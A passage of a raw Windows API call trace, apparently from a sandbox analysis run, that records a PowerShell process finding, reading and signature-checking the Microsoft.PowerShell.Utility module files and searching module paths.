ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.429] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.429] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0177.429] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0177.429] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0177.429] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.430] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0177.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22c5ccc | out: lpFileInformation=0x22c5ccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0177.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.430] CoCreateGuid (in: pguid=0x5a2e758 | out: pguid=0x5a2e758*(Data1=0xc4cadbdd, Data2=0x7319, Data3=0x4769, Data4=([0]=0x93, [1]=0x82, [2]=0xe6, [3]=0xfd, [4]=0xdd, [5]=0xf8, [6]=0x5d, [7]=0xfe))) returned 0x0 [0177.431] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x44c [0177.431] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x450 [0177.431] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x454 [0177.432] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x458 [0177.432] SetEvent (hEvent=0x458) returned 1 [0177.432] SetEvent (hEvent=0x44c) returned 1 [0177.432] SetEvent (hEvent=0x450) returned 1 [0177.432] SetEvent (hEvent=0x454) returned 1 [0177.432] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x344 [0177.433] SetThreadUILanguage (LangId=0x0) returned 0x409 [0177.434] EtwEventActivityIdControl () returned 0x0 [0177.434] EtwEventActivityIdControl () returned 0x0 [0177.434] EtwEventActivityIdControl () returned 0x0 [0177.444] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0177.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df84) returned 1 [0177.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e248 | out: lpFileInformation=0x5a2e248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0177.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df80) returned 1 [0177.446] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0177.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.446] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2de8c, Length=0x20, ResultLength=0x5a2defc | out: SystemInformation=0x5a2de8c, ResultLength=0x5a2defc*=0x0) returned 0xc0000003 [0177.447] GetSystemInfo (in: lpSystemInfo=0x5a2df08 | out: lpSystemInfo=0x5a2df08*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0177.447] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2de98 | out: phkResult=0x5a2de98*=0x340) returned 0x0 [0177.447] RegQueryValueExW (in: hKey=0x340, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2deb4, lpData=0x0, lpcbData=0x5a2deb0*=0x0 | out: lpType=0x5a2deb4*=0x0, lpData=0x0, lpcbData=0x5a2deb0*=0x0) returned 0x2 [0177.448] RegCloseKey (hKey=0x340) returned 0x0 [0177.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de10) returned 1 [0177.448] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0177.449] GetFileType (hFile=0x340) returned 0x1 [0177.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de0c) returned 1 [0177.449] GetFileType (hFile=0x340) returned 0x1 [0177.449] SetFilePointer (in: hFile=0x340, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2de4c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2de4c*=0) returned 0x0 [0177.449] ReadFile (in: hFile=0x340, lpBuffer=0x22d25c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2de78, lpOverlapped=0x0 | out: lpBuffer=0x22d25c0*, lpNumberOfBytesRead=0x5a2de78*=0x982, lpOverlapped=0x0) returned 1 [0177.451] SetFilePointer (in: hFile=0x340, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2de4c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2de4c*=0) returned 0x982 [0177.451] ReadFile (in: hFile=0x340, lpBuffer=0x22d1ad6, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a2de78, lpOverlapped=0x0 | out: lpBuffer=0x22d1ad6*, lpNumberOfBytesRead=0x5a2de78*=0x0, lpOverlapped=0x0) returned 1 [0177.451] SetFilePointer (in: hFile=0x340, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2de4c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2de4c*=0) returned 0x982 [0177.451] ReadFile (in: hFile=0x340, lpBuffer=0x22d25c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2de78, lpOverlapped=0x0 | out: lpBuffer=0x22d25c0*, lpNumberOfBytesRead=0x5a2de78*=0x0, lpOverlapped=0x0) returned 1 [0177.452] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2dde0, Length=0x20, ResultLength=0x5a2de50 | out: SystemInformation=0x5a2dde0, ResultLength=0x5a2de50*=0x0) returned 0xc0000003 [0177.452] GetSystemInfo (in: lpSystemInfo=0x5a2de5c | out: lpSystemInfo=0x5a2de5c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0177.453] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2ddec | out: phkResult=0x5a2ddec*=0x45c) returned 0x0 [0177.453] RegQueryValueExW (in: hKey=0x45c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2de08, lpData=0x0, lpcbData=0x5a2de04*=0x0 | out: lpType=0x5a2de08*=0x0, lpData=0x0, lpcbData=0x5a2de04*=0x0) returned 0x2 [0177.453] RegCloseKey (hKey=0x45c) returned 0x0 [0177.453] CloseHandle (hObject=0x340) returned 1 [0177.456] CoCreateGuid (in: pguid=0x5a2dedc | out: pguid=0x5a2dedc*(Data1=0x330c5f92, Data2=0x95d3, Data3=0x4271, Data4=([0]=0x93, [1]=0xa7, [2]=0x2, [3]=0x17, [4]=0x24, [5]=0x19, [6]=0x75, [7]=0x40))) returned 0x0 [0177.456] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2dc3c | out: lpPerformanceCount=0x5a2dc3c*=3251463618415) returned 1 [0177.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d928) returned 1 [0177.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2dbec | out: lpFileInformation=0x5a2dbec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0177.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d924) returned 1 [0177.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.458] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.458] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d8bc) returned 1 [0177.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2db80 | out: lpFileInformation=0x5a2db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0177.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d8b8) returned 1 [0177.458] CoTaskMemAlloc (cb=0x10) returned 0x5c831b0 [0177.459] CoTaskMemAlloc (cb=0x10) returned 0x5c832a0 [0177.459] CoTaskMemAlloc (cb=0xe4) returned 0x393770 [0177.459] CoTaskMemAlloc (cb=0x30) returned 0x3c4de8 [0177.459] WinVerifyTrust () returned 0x800b0100 [0177.522] CoTaskMemFree (pv=0x5c831b0) [0177.523] CoTaskMemFree (pv=0x3c4de8) [0177.523] CryptCATHandleFromStore () returned 0x36d8e0 [0177.523] WTHelperGetProvSignerFromChain () returned 0x0 [0177.523] CoTaskMemAlloc (cb=0x10) returned 0x5c831b0 [0177.523] CoTaskMemAlloc (cb=0x30) returned 0x3c4de8 [0177.523] WinVerifyTrust () returned 0x0 [0177.523] CoTaskMemFree (pv=0x3c4de8) [0177.523] CoTaskMemFree (pv=0x5c831b0) [0177.524] CoTaskMemFree (pv=0x393770) [0177.524] CoTaskMemFree (pv=0x5c832a0) [0177.536] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0177.536] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0177.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0177.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0177.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0177.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0177.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0177.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d378) returned 1 [0177.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2d63c | out: lpFileInformation=0x5a2d63c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d374) returned 1 [0177.542] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0177.542] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0177.543] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2d2ec, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0177.546] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0177.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0177.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0177.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d180) returned 1 [0177.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d444 | out: lpFileInformation=0x5a2d444*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d17c) returned 1 [0177.551] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0177.554] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0177.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 